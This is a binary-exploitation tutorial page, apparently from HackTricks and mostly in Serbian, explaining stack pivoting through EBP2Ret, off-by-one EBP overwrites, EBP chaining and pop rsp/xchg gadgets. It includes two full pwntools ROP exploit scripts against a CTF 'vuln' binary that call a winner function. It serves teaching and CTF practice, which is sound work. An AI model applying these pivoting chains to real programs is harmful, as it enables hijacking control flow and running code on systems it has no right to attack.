6.8 KiB
Stack Pivoting - EBP2Ret - EBP chaining
{{#include ../../../banners/hacktricks-training.md}}
Osnovne informacije
Ova tehnika koristi sposobnost manipulacije Base Pointer (EBP) za povezivanje izvršavanja više funkcija kroz pažljivu upotrebu EBP registra i leave; ret instrukcijske sekvence.
Kao podsetnik, leave u suštini znači:
mov esp, ebp
pop ebp
ret
And as the EBP is in the stack before the EIP it's possible to control it controlling the stack.
EBP2Ret
Ova tehnika je posebno korisna kada možete promeniti EBP registar, ali nemate direktan način da promenite EIP registar. Ona koristi ponašanje funkcija kada završe izvršavanje.
Ako, tokom izvršavanja fvuln, uspete da injektujete lažni EBP u stek koji pokazuje na oblast u memoriji gde se nalazi adresa vašeg shellcode-a (plus 4 bajta da se uzme u obzir pop operacija), možete indirektno kontrolisati EIP. Kada fvuln vrati, ESP se postavlja na ovu kreiranu lokaciju, a naredna pop operacija smanjuje ESP za 4, efektivno ga usmeravajući na adresu koju je napadač sačuvao tamo.
Obratite pažnju da morate znati 2 adrese: onu na koju će ESP ići, gde ćete morati da upišete adresu na koju pokazuje ESP.
Exploit Construction
Prvo morate znati adresu na koju možete pisati proizvoljne podatke / adrese. ESP će pokazivati ovde i izvršiti prvi ret.
Zatim, morate znati adresu koju koristi ret koja će izvršiti proizvoljni kod. Možete koristiti:
- Validnu ONE_GADGET adresu.
- Adresu
system()praćenu sa 4 junk bajta i adresom"/bin/sh"(x86 bitovi). - Adresu
jump esp;gadgeta (ret2esp) praćenu shellcode-om koji treba izvršiti. - Neki ROP lanac.
Zapamtite da pre bilo koje od ovih adresa u kontrolisanom delu memorije, mora biti 4 bajta zbog pop dela leave instrukcije. Bilo bi moguće zloupotrebiti ovih 4B da postavite drugi lažni EBP i nastavite sa kontrolisanjem izvršavanja.
Off-By-One Exploit
Postoji specifična varijanta ove tehnike poznata kao "Off-By-One Exploit". Koristi se kada možete samo modifikovati najmanje značajan bajt EBP-a. U takvom slučaju, memorijska lokacija koja čuva adresu na koju treba skočiti sa ret mora deliti prva tri bajta sa EBP-om, omogućavajući sličnu manipulaciju sa strožim uslovima.
EBP Chaining
Stoga, postavljanjem kontrolisane adrese u EBP unos steka i adrese za leave; ret u EIP, moguće je premestiti ESP na kontrolisanu EBP adresu iz steka.
Sada je ESP kontrolisan i pokazuje na željenu adresu, a sledeća instrukcija za izvršavanje je RET. Da biste to zloupotrebili, moguće je postaviti u kontrolisano ESP mesto ovo:
&(next fake EBP)-> Učitaj novi EBP zbogpop ebpizleaveinstrukcijesystem()-> Pozvan od straneret&(leave;ret)-> Pozvan nakon što sistem završi, premestiće ESP na lažni EBP i ponovo početi&("/bin/sh")-> Parametar zasystem
U suštini, na ovaj način je moguće povezati nekoliko lažnih EBP-ova da kontrolišu tok programa.
Ovo je kao ret2lib, ali složenije bez očigledne koristi, ali bi moglo biti zanimljivo u nekim ivicama.
Štaviše, ovde imate primer izazova koji koristi ovu tehniku sa stack leak da pozove pobedničku funkciju. Ovo je konačni payload sa stranice:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
EBP je beskoristan
Kao što je objašnjeno u ovom postu, ako je binarni fajl kompajliran sa nekim optimizacijama, EBP nikada ne kontroliše ESP, stoga, bilo koja eksploatacija koja funkcioniše kontrolisanjem EBP će u suštini propasti jer nema stvarni efekat.
To je zato što se prolog i epilog menjaju ako je binarni fajl optimizovan.
- Nije optimizovan:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Optimizovano:
push %ebx # save ebx
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
Druge metode za kontrolu RSP
pop rsp gadget
Na ovoj stranici možete pronaći primer korišćenja ove tehnike. Za ovaj izazov bilo je potrebno pozvati funkciju sa 2 specifična argumenta, a postojala je pop rsp gadget i postoji leak sa steka:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg <reg>, rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
Reference
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
{{#include ../../../banners/hacktricks-training.md}}